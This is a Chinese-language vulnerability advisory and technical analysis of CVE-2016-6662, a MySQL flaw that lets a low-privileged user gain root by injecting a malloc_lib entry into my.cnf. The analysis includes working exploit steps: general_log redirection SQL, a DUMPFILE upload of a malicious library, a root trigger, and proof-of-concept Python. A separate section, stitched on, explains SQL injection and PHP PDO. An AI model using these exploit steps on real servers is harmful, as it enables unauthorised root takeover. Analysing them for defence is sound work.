2016年9月12日, legalhackers.com网站发布了编号为CVE-2016-6662的0day漏洞公告 。由于该漏洞可以获得MySQL服务器的Root权限,且影响MySql5.5、5.6、5.7乃至最新版本,高级威胁预警通告,这意味着该漏洞影响范围比较广,危害严重,利用难度较低,绿盟科技将在7*24小时内部应急跟踪,24小时内完成技术分析、产品升级和防护方案。
该漏洞可以允许攻击者远程向MySQL配置文件(my.cnf)注入恶意的环境配置,从而导致严重后果。该漏洞将影响以默认方式进行配置的所有版本的MySQL服务器,涵盖5.7、5.6和5.5,包括最新版本。此外,包括MariaDB和PerconaDB在内的MySQL分支也在影响范围内。攻击者既可以通过本地方式,也可以通过远程方式进行漏洞利用。
Mysql (5.7, 5.6, 和 5.5版本)的所有默认安装配置,包括最新的版本,攻击者可以远程和本地利用该漏洞。该漏洞需要认证访问MYSQL数据库(通过网络连接或者像phpMyAdmin的web接口),以及通过SQL注入利用。攻击者成功利用该漏洞可以以ROOT权限执行代码,完全控制服务器。
利用条件:首先你要有一个Mysql低权限用户,仅需有FIle权限(例如:虚拟主机通常会提供,因为需要导入导出文件),即可实现Root权限提升,进而控制服务器。
----------------------------------
Oracle官方尚未发布补丁,作为暂时的缓解策略,MySQL用户应该做到以下两点:
确保MySQL的配置文件不被MySQL用户所拥有;
以root用户身份创建一个虚假my.cnf文件。
MySql 0Day漏洞分析
攻击者在仅拥有SELECT/FILE的权限下,可以利用此漏洞实现ROOT提权 ,执行任意代码,进而完全控制MySQL数据库和服务器。
MySQL的默认安装包里面包含一个脚本mysqld_safe,它被用来启动MySQL服务。mysqld_safe脚本是以root权限启动的,而数据库守护进程mysqld是用较低权限的mysql用户启动的。以Debian系统为例,MySQL默认安装后mysqld_safe脚本的部分内容如下:
[...]
# set_malloc_lib LIB
# - If LIB is empty, do nothing and return
# - If LIB is 'tcmalloc', look for tcmalloc shared library in /usr/lib
# then pkglibdir. tcmalloc is part of the Google perftools project.
# - If LIB is an absolute path, assume it is a malloc shared library
#
# Put LIB in mysqld_ld_preload, which will be added to LD_PRELOAD when
# running mysqld. See ld.so for details.
set_malloc_lib() {
malloc_lib="$1"
if [ "$malloc_lib" = tcmalloc ]; then
pkglibdir=`get_mysql_config --variable=pkglibdir`
malloc_lib=
# This list is kept intentionally simple. Simply set --malloc-lib
# to a full path if another location is desired.
for libdir in /usr/lib "$pkglibdir" "$pkglibdir/mysql"; do
for flavor in _minimal '' _and_profiler _debug; do
tmp="$libdir/libtcmalloc$flavor.so"
#log_notice "DEBUG: Checking for malloc lib '$tmp'"
[ -r "$tmp" ] || continue
malloc_lib="$tmp"
break 2
done
done
[...]
我们可以通过使用--malloc-lib=LIB参数在服务加载时,预先加载一个库文件,这个参数同样可以通过配置文件my.cnf来设置,设置位置在“[mysqld]”或“[mysqld_safe]”部分。
此漏洞的本质是攻击者可以通过log函数利用不恰当的权限设置改写MySQL的配置文件my.cnf,将恶意的库文件路径插入到配置文件my.cnf中,从而加载该恶意库文件,当mysql服务重启时,就能以root权限执行任意代码。
向my.cnf文件写入恶意库文件的具体实现如下:
(1)执行下述MySQL命令。
mysql> set global general_log_file = '/var/lib/mysql/my.cnf';
mysql> set global general_log = on;
mysql> select '
'>
'> ; injected config entry
'>
'> [mysqld]
'> malloc_lib=/var/lib/mysql/mysql_hookandroot_lib.so
'>
'> [separator]
'>
'> ';
1 row in set (0.00 sec)
mysql> set global general_log = off;
(2)命令执行后,可以看到my.cnf的文件末尾处,被附加了如下的内容:
# cat /var/lib/mysql/my.cnf
/usr/sbin/mysqld, Version: 5.5.50-0+deb8u1 ((Debian)). started with:
Tcp port: 3306 Unix socket: /var/run/mysqld/mysqld.sock
Time Id Command Argument
160728 17:48:22 43 Query select '
; injected config entry
[mysqld]
malloc_lib=/var/lib/mysql/mysql_hookandroot_lib.so
[separator]
'
160728 17:48:23 43 Query set global general_log = off
其中“[mysqld]”中的“malloc_lib”选项是关键!当my.cnf配置文件被mysqld_safe脚本加载处理时,mysqld_safe会读取malloc_lib的共享库路径,将其添加到LD_PRELOAD环境变量。mysqld守护进程启动时,此malloc_lib共享库可以优先加载执行,攻击者可以利用这个机会在共享库中执行任意代码,并hook一些函数调用,清理被篡改的配置文件,使得mysqld守护进程正常执行,不会崩溃,使得用户难以察觉。
该本地提权漏洞的完整利用过程如下:
- 攻击者利用SQL注入或已有的低权限账号登录MySQL服务器,可以执行低权限的命令。
- 通过文件上传或DUMPFILE命令将恶意malloc_lib共享库文件上传到目标服务器 。
// 将二进制共享库文件内容转化为十六进制形式
hookandrootlib_path = './mysql_hookandroot_lib.so'
with open(hookandrootlib_path, 'rb') as f:
content = f.read()
hookandrootlib_hex = binascii.hexlify(content)
// 通过DUMPFILE命令写入目前服务器
SELECT unhex("hookandrootlib_hex") INTO DUMPFILE '/var/lib/mysql/mysql_hookandroot_lib.so'
3. 通过设置触发器,提升用户权限,为写入my.cnf文件做准备。
ELIMITER //
CREATE DEFINER=`root`@`localhost` TRIGGER appendToConf
AFTER INSERT
ON `poctable` FOR EACH ROW
BEGIN
DECLARE void varchar(550);
set global general_log_file='/var/lib/mysql/my.cnf';
set global general_log = on;
select "
# 0ldSQL_MySQL_RCE_exploit got here :)
[mysqld]
malloc_lib='/var/lib/mysql/mysql_hookandroot_lib.so'
[abyss]
" INTO void;
set global general_log = off;
END; //
DELIMITER ;
4. 触发触发器,使得恶意配置被写入my.cnf文件
# Creating table poctable so that /var/lib/mysql/pocdb/poctable.TRG trigger gets loaded by the server
info("Creating table 'poctable' so that injected 'poctable.TRG' trigger gets loaded")
try:
cursor = dbconn.cursor()
cursor.execute("CREATE TABLE `poctable` (line varchar(600)) ENGINE='MyISAM'" )
except mysql.connector.Error as err:
errmsg("Something went wrong: {}".format(err))
shutdown(6)
# Finally, execute the trigger's payload by inserting anything into `poctable`.
# The payload will write to the mysql config file at this point.
try:
cursor = dbconn.cursor()
cursor.execute("INSERT INTO `poctable` VALUES('execute the trigger!');" )
except mysql.connector.Error as err:
errmsg("Something went wrong: {}".format(err))
shutdown(6)
5. 当MySQL重启时(包括系统更新),就会使得mysqld_safe读取my.cnf文件,进而加载执行恶意共享库文件,从而执行任意代码,由于mysqld_safe默认以root权限执行,所以加载执行的共享库也拥有root权限,可以用来提权。
MySql 0Day漏洞验证程序
legalhackers.com网站公布了一个功能受限的POC,代码如下,它仅能做到以低权限向MySQL数据库的配置文件添加内容:
1、0ldSQL_MySQL_RCE_exploit.py
2、mysql_hookandroot_lib.c
================================
当你没有对传入的参数进行类型转换的话(int就只能接收int,string要trim),很有可能就被人利用你的这个参数漏洞写入一个直接就能通过的sql
举个栗子:你原来的sql是 “SELECT * FROM USERS WHERE id = ”.$id 你对$id没有处理,那别人就直接传入一个 id OR 1=1; 这样一来这个sql就变成了 “SELECT *FROM USERS WHERE id = id OR 1=1”; 这个sql永远可以执行,而且攻击者同时能够获得你的user信息.
推荐用PDO(PHP data objects)的
官方对PDO的解释是
PHP 数据对象 (PDO) 扩展为PHP访问数据库定义了一个轻量级的一致接口。
PDO 提供了一个数据访问抽象层,这意味着,不管使用哪种数据库,都可以用相同的函数(方法)来查询和获取数据。
PDO随PHP5.1发行,在PHP5.0的PECL扩展中也可以使用,无法运行于之前的PHP版本。
PDO扩展为PHP定义了一个访问数据库的轻量的,持久的接口。实现了PDO接口的每一种数据库驱动都能以正则扩展的形式把他们各自的特色表现出来。注意;利用PDO扩展本身并不能实现任何数据库函数。你必须使用一个特定的数据库PDO驱动去访问数据库。
PDO提供了一个数据访问抽象层,这就意味着,不管你使用的是哪种数据库,你都可以用同样的函数去进行查询的获取数据。PDO并不提供数据提取,它不会重写SQL语句,或者模仿这些功能。你需要使用一个成熟的提取层,如果你需要的话。
1、更换数据库是去的极大便利
2、极大提高程序运行效率